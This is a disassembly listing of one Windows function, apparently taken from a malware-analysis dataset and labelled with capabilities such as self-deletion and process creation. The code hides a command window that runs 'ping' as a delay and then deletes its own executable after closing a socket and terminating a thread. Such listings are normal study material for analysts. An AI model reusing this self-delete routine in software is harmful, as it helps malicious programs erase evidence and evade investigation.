Function at 0x421486
Capabilities:
Create process on windows
Self delete
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
push closesocket
call fcn.004206d2
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
add ecx, 0x30
call fcn.0040afb4
test eax, eax
je 0x4214c4
push 0
push dword [0x560608]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
add ecx, 0x30
call fcn.0040b00c
test eax, eax
je 0x421549
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 0x1c], eax
push 0
push 0x20006
mov eax, dword [ebp - 4]
add eax, 0x14
push eax
mov eax, dword [ebp - 4]
push dword [eax + 8]
mov ecx, dword [ebp - 0x1c]
call fcn.00420997
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
add eax, 0x30
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x20]
call fcn.0040afe0
push eax
mov ecx, dword [ebp - 0x24]
call fcn.00420720
test eax, eax
jne 0x42152c
mov dword [ebp - 0x18], 1
jmp 0x421530
and dword [ebp - 0x18], 0
mov al, byte [ebp - 0x18]
mov byte [ebp - 9], al
lea ecx, [ebp - 0x28]
call fcn.00406be2
mov ecx, dword [ebp - 4]
add ecx, 4
call fcn.004207e9
mov ecx, dword [ebp - 4]
add ecx, 0x30
call fcn.0040b038
push 0x44
push 0
lea eax, [ebp - 0x90]
push eax
call fcn.0040132f
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x4c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x104
lea eax, [ebp - 0x194]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
and dword [ebp - 8], 0
push 0xd
pop ecx
mov esi, str.cmd.exe__C_ping_1.2.3.4__n_2__w_1000___Nul__Del__f__q
lea edi, [ebp - 0x39c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 8]
add eax, 0x37
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov cl, byte [0x429d44]
mov byte [ebp + eax - 0x39c], cl
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x194]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
mov al, byte [eax]
mov byte [ebp - 0xa], al
inc dword [ebp - 0x10]
cmp byte [ebp - 0xa], 0
jne 0x4215cb
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
lea eax, [ebp - 0x194]
push eax
mov eax, dword [ebp - 8]
lea eax, [ebp + eax - 0x39c]
push eax
call fcn.00401309
add esp, 0xc
lea eax, [ebp - 0x194]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x14]
mov al, byte [eax]
mov byte [ebp - 0xb], al
inc dword [ebp - 0x14]
cmp byte [ebp - 0xb], 0
jne 0x421612
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x38]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov cx, word [0x429da0]
mov word [ebp + eax - 0x39c], cx
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x90]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x39c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]